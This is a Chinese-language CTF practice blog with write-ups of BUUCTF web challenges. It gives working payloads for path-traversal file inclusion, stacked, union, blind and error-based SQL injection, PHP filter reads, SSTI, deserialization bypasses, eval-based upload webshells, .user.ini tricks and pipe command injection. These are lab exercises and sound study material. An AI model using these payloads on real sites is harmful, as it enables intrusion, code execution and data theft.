寒假横向刷题(尽量)
BUUCTF
题都写这一个里面了,还有部分是草稿还没有整理,大伙见谅,可以先用Ctrl+F搜索。有问题了乐意效劳。

2021.01.15

[HCTF 2018]WarmUp

进到靶机一个硕大的滑稽,查看源码有提示source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

发现白名单有source.php和hint.php,先去查看一下hint.php

flag not here, and flag in ffffllllaaaagggg

分析源码

  • 判断$_REQUEST['file']对象为空且为字符串
  • 执行emmm类中的checkFile方法判断是否在白名单(确保函数返回是true)
  • 文件包含

checkFile函数中字符串截取判断是否在白名单(代码17-24和26-34)所以有两种绕过方法。

  1. 第一种
1
file=hint.php?../../../../../ffffllllaaaagggg

字符串截取将原字符串尾部加上?再截取第一个?之前的内容。所以需要在构造payload时问号前需要是白名单里的文件。问号之后,猜测flag位置在根目录下,所以使用尽可能多的../返回上级目录。

  1. 第二种
1
hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

将第一种payload使用urlencode编码即可。


[强网杯 2019]随便注

根据题目尝试sql注入,单引号报错,单引号加注释无报错,说明存在sql注入,当测试输入select时返回过滤的黑名单:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这道题使用的是堆叠注入,原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

查看数据库

1
1';show databases;

查看当前库下的表

1
1';show tables;

查看两张表字段

1
1';show columns from words;

还有一种查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

1
1';desc `1919810931114514`;

找到了flag在的字段,接下来就是如何获取该字段的值。顺带一提,根据表的结构,初步判断默认查询的是word表中的字段,而flag在1919810931114514表中。

网上找到的两种方法,分别是修改表名和使用预处理语句。

  1. 使用预处理语句

因为select被过滤了,但是可以使用char函数,char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

1
char(115,101,108,101,99,116)

根据预处理语句格式构造payload

  • 创建一个sqli字符串值为查询sql语句,使用预处理语句赋值并执行。
1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
  • 不使用变量
1
1';PREPARE sqli FROM CONCAT('s','elect',' * from `1919810931114514`');EXECUTE sqli; #
  • 还有一种
1
1';SET @sqli = CONCAT('s','e','l','e','c','t',' * from `1919810931114514`');PREPARE haha FROM@sqli ;EXECUTE haha; #

主要区别在于过滤的绕过方式,不要拘泥于一种方式。

  1. 修改表名

修改表名的思路是:默认查询的是word表第一个字段,所以把word表修改为其他名称,将flag所在的1919810931114514表名修改为word

网上payload

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

自己构造的payload

1
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) #

之后执行

1
1' or 1=1 #

查询表所有字段值即可。


[极客大挑战 2019]EasySQL

用户名密码,尝试万能密码。

1
2
'or 1=1 #
随便密码

一个万能密码的参考:https://www.cnblogs.com/pass-A/p/11134988.html


[极客大挑战 2019]Havefun

直接源码找到php代码。payload

1
?cat=dog

[SUCTF 2019]EasySQL

单引号无报错,尝试堆叠注入可以回显。

和 [强网杯 2019]随便注这道题一样查库查表查字段

1
2
1;show databases;
1;show tables;

但是执行

1
2
1;desc `Flag`;
1;show columns from Flag;

返回了”Nonono.“测试出被过滤了:desc、from、Flag。

接下来的都是抄网上的预期解也是第一次见。

比赛时源码泄露

1
select $_GET['query'] || flag from flag

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

payload

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解

1
*,1 

[ACTF2020 新生赛]Include

不截图了,进入靶机只有一个tips等着被点。跳转以后看url中参数

1
?file=flag.php

页面内容只有

Can you find out the flag?

立马想到使用php伪协议读文件内容。使用filter过滤器

1
?file=php://filter/convert.base64-encode/resource=flag.php

得到

1
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTAyNTIyNDgtMjY3NC00NDdjLWFlYWMtYjc3ZTc5YjYwMzVmfQo=

解密得到flag


[极客大挑战 2019]Secret File

查看源码,又一个背景是黑色的超链接跳转到 Archive_room.php。

查看源码SECRET跳转的是action.php。

但是跳转以后是url地址为end.php,所以中间跳过了一个页面,使用bp抓包查看。

stristr()函数返回字符串中子串第一次出现位置之后的内容,简而言之还是过滤。

同样使用php伪协议filter过滤器读取文件

1
?file=php://filter/convert.base64-encode/resource=flag.php
1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZmZjZTAwNWYtYjEyOS00YWM1LTg3MzYtZDM3YzUwYjYxNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到网页源码,flag在其中。


[极客大挑战 2019]LoveSQL

顶端の告诫:用 sqlmap 是没有灵魂的

尝试万能密码(其实没卵用)

1
2
'or 1=1 #
任意密码

这道题是常规的sql注入,测注入点、查字段数、爆库、爆字段值、爆表。组合拳

字段数:

1
1' order by 3 #

爆库:

1
2
3
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

geekuser,l0ve1ysq1

爆字段值:

1
2
3
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

id,username,password

爆表:

1
2
3
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

'1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{c4e8849c-e0e3-4e0d-b701-26a5abeec46a}'

2021.01.21

[GXYCTF2019]Ping Ping Ping

传送门


[ACTF2020 新生赛]Exec

肯定是尝试管道符

1
127.0.0.1|cat /flag

[护网杯 2018]easy_tornado

打开页面三个超链接

/flag.txt

/welcome.txt

hints.txt

内容分别是

flag in /fllllllllllllag

render

md5(cookie_secret+md5(filename))

进入hints.txt注意到url地址此时为

1
/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

再根据hints.txt文件的内容,推断可以使用url方式访问文件,但是需要提供filehash值,加密的方法即hints.txt的内容:md5(cookie_secret+md5(filename))。flag文件的名称filename有了,接下来就是获取cookie_secret的值。

接下来触及到盲区了,获取cookie_secret是看wp。

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

获取cookie_secret的payload

1
/error?msg={{handler.settings}}

获得cookie_secret的值为

1
eb326d39-cd67-47bd-b2d3-71125996417b

根据hints.txt的url验证一下是如何加密的。

选中的蓝色部分是/hints.txt加密后的md5值。推断出filehash格式以后直接访问flag文件,payload:

1
/file?filename=/hints.txt&filehash=2a84a09bc1d5e3d8745131754ff208fa

[极客大挑战 2019]Knife

一句话直接连。


[RoarCTF 2019]Easy Calc

一个计算器随便试一试,当输入字母时会报错。查看网页源码,在script中发现了运行计算器的php文件:calc.php,但是也有一句很重要的注释

1
<!--I've set up WAF to ensure security.-->

php的正则表达式中并没有过滤字母的条件,所以我们输入字母被过滤是因为WAF,接下来是参考网上的wp自己的理解

可以在calc.php传参

1
? num=a

php会输出一个值a,说明已经绕过了WAF。这里使用的是WAF和php解析方法不一样,WAF解析到空格’ ‘会直接过滤掉,这样WAF认为传入的就是一个空值,并不会识别num,但是php解析的时候会把空格去掉,这样就能get到num的值。

接下来绕过正则就可以使用char()的方式使用ascii码转。空格被过滤但是想使用php输出可以使用var_dump()

查看根目录下文件,可以使用scandir()遍历文件夹,其中char(47)——> ‘/‘ :

1
? num=1;var_dump(scandir(chr(47)))

找到了疑似flag文件:f1agg,使用file_get_contents()读取文件

1
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]Http

查看源码在”氛围”这两个字上有隐藏的跳转Secret.php。进入以后页面显示

1
It doesn't come from 'https://www.Sycsecret.com'

提示页面不是来自这个网址,所以在HackBar上加上Referer。之后又提示

1
Please use "Syclover" browser

加上User-Agent。提示

1
No!!! you can only read this locally!!!

加上X-Forwarded-For。HTTP X-Forwarded-For 介绍

最终的请求头:

1
2
3
4
5
6
7
8
9
10
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26715
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
referer: https://www.Sycsecret.com
Connection: close

[极客大挑战 2019]PHP

源码备份在www.zip中。下载以后有五个文件

class.php

flag.php

index.js

index.php

style.css

在index.php中有一段代码

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

再结合又一个class.php,所以这道题考点应该是反序列化。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

获取flag的代码位置是30-32行。分析这个Name对象,创建对象时可以为对象赋值,对象销毁时会判断password值是否是100,且username值是否为admin,如果两者都成立输出flag,但是__wakeup()会在反序列化时调用将username值置为guest,所以需要反序列化逃逸。

我使用的构造对象

1
2
3
4
5
6
7
8
9
10
<?php
class Name{
private $username ='admin';
private $password ='100';
}

$a = new Name;
echo serialize($a);

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

反序列化逃逸,使对象属性的数量大于原来的值,就可以绕过wakeup函数。最终payload

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[极客大挑战 2019]Upload

先尝试上传一个gif图片马内容为

1
2
3
GIF89a
<?php
@eval($_POST['a']);

页面提示过滤:

NO! HACKER! your file included ‘<?’

尝试script执行php代码

1
<script language="php">eval($_POST['cmd'])</script>

可以上传,文件在/upload目录下。尝试修改后缀上传,phtml上传成功,可以执行php和script代码,使用蚁剑连接。


2021.01.28

[极客大挑战 2019]BabySQL

尝试万能密码,发现报错了:1=1#’ and password=’123’,也许是or被过滤了或者删掉了,尝试大小写无果,但是尝试双写通过了。需要注意的是爆表,爆数据库的语句中有information这个词,其中的for也会被过滤。其他过滤的词我遇到的有:union,select、from、where、and。

爆数据库(填密码):

1
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #

爆表:

1
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' #

爆字段值:

1
1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql #

[ACTF2020 新生赛]Upload

指针放在灯泡上护显示上传文件的,图片马

233.gif

1
2
3
GIF89a
<?php
@eval($_POST['a']);

尝试phtml是否被过滤,直接上传成功。蚁剑连接

1
2
3
4
5
6
7
8
9
10
11
12
13
------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="upload_file"; filename="233.phtml"
Content-Type: image/gif

GIF89a
<?php
@eval($_POST['a']);
------WebKitFormBoundaryUMSByAQmR2cduL6R
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryUMSByAQmR2cduL6R--


[HCTF 2018]admin

可以在注释里找到

思路应该是只要我们是admin登陆就可以得到flag,可以找到注册按钮,不能注册admin,那就随便注册一个进去看看。找到几个功能。

  • post。发表文章,但是没能找到在哪里打开
  • change password。改密码,尝试下能不能抓包改到admin的密码

修改密码抓到的包:

感觉并没有什么下手的地方,唯一的就是session可能和身份有关。

以下的是看网上的wp

[ACTF2020 新生赛]BackupFile

1
Try to find out source file!

题目提示备份文件,备份文件常见后缀:

.git .svn .swp .~ .bak .bash_history

尝试index.php.bak,下载了一个备份文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

传一个必须为数字的参数key,使用intval()函数处理,字符串相等则输出flag。这就想到了PHP中的=====的区别。贴一段简单代码

1
2
3
4
5
6
7
<?php
$str = 'abc';
if(0==$str){
echo "真";
}else{
echo "假";
}

==在执行关系运算时,要求运算符两边的数据类型必须一致,所以等号右边的字符串被强制转换为了整型,若有一方为数字,另一方为字符串或空或null,均会先将非数字一方转化为0,再做比较。如果字符串是以数字开头的,就会截取直到遇到第一个字母。

全等于===操作过程如下:

  1. 操作符两边的数据类型如果不相同,返回false 。
  2. 操作符两边的值如果不相同,返回false 。
  3. 最后将上面2步的操作进行与操作。返回与操作的结果。

所以最终的payload:

1
?key=123

[极客大挑战 2019]BuyFlag

网站题直接去看源码,在源码也搜索php有两个:index.php、pay.php。前者是首页,直接看后面的那个,打开就有提示

Only Cuit’s students can buy the FLAG

应该还是一道http的套娃题。查看网页的请求发现Cookie中有一个user=0,很可疑,改成user=1,有了下一个提示:输入密码,并且源码中有一段php

1
2
3
4
5
6
7
8
9
10
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

还记得php==关系运算会强制转换类型,用POST传一个password=404a,404a会被强制转换为404,密码就对上了。接下来是钱的问题,flag需要100000000块钱我们也去要传过去。如果直接传入这么长的会提示字符串过长,所以我想到了科学计数法,10e10,就是10的10次方,通过。最终的请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /pay.php HTTP/1.1
Host: 268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://268f365e-648d-477c-ba25-0c56572cc31f.node3.buuoj.cn/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=10e10

[SUCTF 2019]CheckIn

知识点

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.

准备好.user.ini文件内容为自动包含图片马,因为上传会检查文件头,所以添加了一个GIF文件头伪装:

1
2
GIF89a
auto_prepend_file=233.gif

接下来上传图片马,尝试了正常上传PHP马会提示:

<? in contents!

所以使用script马执行php:

1
2
GIF89a
<script language="php">eval($_REQUEST[shell])</script>

上传成功后会提示文件路径:

Your dir uploads/852aff287f54bca0ed7757a702913e50
Your files :
array(5) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “.user.ini” [3]=> string(7) “233.gif” [4]=> string(9) “index.php” }

这时候.user.ini文件已经会帮我们自动包含图片马了,所以我们只需要访问一个PHP文件即可,正好上传目录下又一个index.php文件,可以直接蚁剑连接或者cat flag。


[BJDCTF2020]Easy MD5

参考:

【Jarvis OJ】Login–password=’”.md5($pass,true).”

sql注入:md5($password,true)

Leet More 2010 Oh Those Admins! writeup

随便输入一些东西都没有反应,在请求头中发现了一个Hint:

select * from ‘admin’ where password=md5($pass,true)

语法

md5(string,raw)

参数 描述
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串TRUE。16位原始二进制格式的字符串

概括理解,这里如果raw参数为true的话,这个函数的返回值是string的md5加密值进行十六进制解码的字符串。这道题我当时是直接看了源码跳过了第一层,第一层的答案其实是ffifdyop,我们来对它进行一波操作

  • 源字符串:ffifdyop

  • md5加密值:276f722736c95d99e921722cf9ed621c

  • hex解码:’or’6É].é!r,ùíb.

最后那几个应该是不可见字符,重要的是前面一段:'or'6,这里还要说明一下,这提示应该不算严谨,真正的sql语句应该是在md5函数前后各一个'单引号。执行以后真正的sql语句为

1
select * from 'admin' where password=''or'6É].é!r,ùíb.‘

可以看到原理是构成一个闭合,这里还有第二个知识点,是or后面的字符串被认为是true,引用文章里的一段:

a string starting with a 1 is cast as an integer when used as a boolean.

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

自己进行的测试:

所以真正的解法是只要sql语句的格式为password=’xxxxxxxx’ or ‘1xxxx’,即hex包含字符串”276f722731”(’or’1),其实or后面开头只要是数字即可,1-9的hex范围为31-39。

下面这个程序是这道题开头参考列表中的第三个链接。

1
2
3
4
5
6
7
8
<?php 
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>

这个程序遍历数字进行md5加密,使用stripos匹配是否有'or',这个函数有一个弊病就是如果是以'or'开头的不会匹配到,并且我们需要的是or后面以数字开头都可以,所以需要稍微做一些修改,使用正则表达式由\'or\'改为'or'([1-9]+|0+[1-9]) 不过我的方法自己还没跑出来🤣,回头加个多线程试一试

(更新)

自己写了一个python程序,放在学生服务器上跑了一个下午加一个晚上,出了两个答案,好家伙从1跑到52亿:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
找到了md5(2413633098): 
找到了md5(5207660362):
找到了md5(8351555222):
找到了md5(13095770027):
找到了md5(14860117901):
找到了md5(15724086109):
找到了md5(16529176061):
找到了md5(17428338265):
找到了md5(18717303578):
找到了md5(19342380396):
找到了md5(23960028257):
找到了md5(32561902614):
找到了md5(38983153698):
找到了md5(39742292223):
找到了md5(44120894060):
找到了md5(44820604888):
找到了md5(45570673322):
找到了md5(45855250502):
找到了md5(53660569009):
找到了md5(55098175010):
找到了md5(59763304323):
找到了md5(60185044906):
找到了md5(68625783421):
找到了md5(70949326264):
(md5值删了,因为乱码会影响博客的搜索功能)

程序源码如下(自己写着玩,轻喷):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# codeing = utf-8

import threading
import hashlib
import re
import itertools
import time
# r'\'or\'([1-9]+|0+[1-9])'
# r'\'or\''
pattern=re.compile(r'\'or\'([1-9]+|0+[1-9])',re.I)
item = itertools.count(1)

def thrfunc():
while 1:
s2 = ''
temp = str(next(item))
s1 = hashlib.md5(temp.encode(encoding='UTF-8')).hexdigest()
for i in range(0, len(s1), 2):
s2 = s2 + chr(int(s1[i:i + 2], 16))
if re.search(pattern, s2):
print("找到了md5(" + temp + "): " + s2)


threads=[]
for i in range(10):
t = threading.Thread(target=thrfunc)
threads.append(t)
t.start()

虽然不知道多整几个能用的值可以干什么,但是觉得自己写的程序跑出来答案就很爽🤣。

还有一个能用的md5值:

1
2
3
4
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

以上是第一层。

第二层可以直接在源码中看到注释。

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

简单的md5以0E开头

1
a=QNKCDZO&b=240610708

第三层

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这一有一些不同的是md5比较使用了===不仅比较类型还比较值。但是md5有一个:

1
md5([1,2,3]) == md5([4,5,6]) == NULL

所以传入两个数组,又能保证两个变量不相等,md5加密有都是NULL且类型是数组类型,注意数组里的值还是不可以一样的。

1
param1[]=1&param2[]=2

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

先来一段PHP伪协议总结,这题的第一步是判断传入text参数并读取内容,判断内容为welcome to the zjctf,使用data://伪协议。

1
?text=data://text/plain,welcome to the zjctf

接下来是文件包含,有了提示useless.php肯定要读一读看看,使用php://filter伪协议。

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

得到的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

并且文件包含下面有一个反序列化,又看到了__tostring函数,当一个对象被当作字符串对待的时候,会触发这个魔术方法。我构造的对象

1
2
3
4
5
6
7
8
9
<?php 
class Flag{
public $file="flag.php";
}

$f = new Flag();
echo serialize($f);

//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在传入对象之前当然要把读取文件流改为正常包含文件了。最终payload

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

草稿线


[CISCN2019 华北赛区 Day2 Web1]Hack World

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = 'http://26670c55-697e-4520-ae0a-bd23a786cd72.node3.buuoj.cn/'
result = ''

for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high>low:
payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
time.sleep(0.3)
response = requests.post(url, data = data)
if 'Hello' in response.text:
low=mid+1
else:
high = mid
mid = (low+high)/2

result += chr(int(mid))
print(result)

flag{929c8993-2d85-4fbf-8e48-7c457551105e}

[极客大挑战 2019]HardSQL

爆表

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23&password=1

H4rDsq1

爆字段

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23&password=1

出数据:

用left和right,可以先用length查看长度拼一下

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(left(password,35))from(H4rDsq1)),0x7e)))%23&password=1

flag{112bb5db-17a4-47e2-97b4-19

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(right(password,11))from(H4rDsq1)),0x7e)))%23&password=1

dc295a017f}


[网鼎杯 2018]Fakebook

非预期解,博客,使用load_file

1
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

在注释里找

预期解

爆表

1
?no=-1%20union/***/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%23

爆字段

1
?no=-1 union/***/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23

出数据

1
?no=-1 union/***/select 1,group_concat(no,username,passwd,data),3,4 from users
1
O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:20:"http://www.baidu.com";}

说明使用反序列化获取对应栏的数据,下面又一个iframe的标签,根据提示the contents of his/her blog,得知我们提供的网址会在这里显示,有一个php伪协议file://可以读取本地文件,所以构造一个序列化对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class UserInfo
{
public $name = "guobang";
public $age = 18;
public $blog = "file:///var/www/html/flag.php";
}

$s = new UserInfo();
echo serialize($s);

//O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终payload

1
?no=-1%20union/***/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from%20users

在iframe里面找


[网鼎杯 2020 青龙组]AreUSerialz

思路:https://blog.csdn.net/Oavinci/article/details/106998738

反序列化,是protected,但是会判断字符串ascii>32,

  1. PHP7.1以上版本对属性类型不敏感、用public绕过

  2. 序列化字符串中s替换为S,支持字符串用16进制,

__destruct()中强比较和process()中弱比较,使用op=2,int类型绕过。

正常读取没有权限,使用php://filter读。


[MRCTF2020]你传你🐎呢

htaccess、gif不行,jpg可以,直接传码


[BJDCTF 2nd]fake google

注释里有ssti,模板注入

https://blog.csdn.net/qq_40657585/article/details/83657220

直接读文件。payload

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}

[GYCTF2020]Blacklist

sql注入,测试出来表的语句

1
2
3
4
-1';show tables; #

FlagHere
